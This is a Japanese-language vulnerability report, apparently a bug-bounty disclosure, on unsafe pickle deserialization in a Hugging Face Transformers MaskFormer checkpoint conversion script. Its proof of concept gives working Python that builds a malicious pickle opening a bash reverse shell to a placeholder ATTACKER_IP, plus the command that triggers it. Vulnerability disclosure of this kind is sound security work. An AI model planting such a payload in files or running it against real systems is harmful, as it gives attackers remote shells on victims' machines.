
脆弱性の概要と影響:
この脆弱性により、攻撃者は悪意のある maskformer resnet チェックポイントファイルをHugging Face Transformersリポジトリの convert_maskformer_swin_to_pytorch.py スクリプトに渡すことで、ホストマシン上で任意のコードを実行できます。
被害者がサードパーティ製の maskformer resnet チェックポイントファイルを使用し、 convert_maskformer_swin_to_pytorch.py スクリプトを実行すると、被害者のシステム上でリモートコード実行(RCE)につながります。
影響を受ける製品
根本原因分析
脆弱性の詳細な説明: この脆弱性は、信頼されないデータの安全でない非直列化に起因します。このスクリプトは pickle.load を使用してチェックポイントファイルを読み込むため、コード実行に対して脆弱です。
入力から脆弱性発現までのコードフロー:
maskformer モデルをダウンロードします。convert_maskformer_swin_to_pytorch.py スクリプトを実行し、チェックポイントファイルを渡します。convert_maskformer_swin_to_pytorch.py スクリプトがチェックポイントファイルを非直列化し、悪意のあるコードを実行します。注入ポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。
GitHub パーマリンク: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
推奨される修正: pickle.load を yaml.safe_load(yaml_file) または json.load に置き換えて、任意のコードの実行を防ぎます。
概念実証の実行手順:
malicious.pkl を作成します:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
注: ファイルを被害者に送信する前に、ATTACKER_IPとATTACKER_PORTを変更してください。
convert_maskformer_swin_to_pytorch.py スクリプトを実行し、malicious.pkl ファイルを --checkpoint_path に渡します:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
注:
pytorch_dump_folder_pathは任意のディレクトリに設定でき、model_nameは任意のモデルに設定できます。
ソフトウェアダウンロードリンク:
https://github.com/huggingface/transformers/tree/main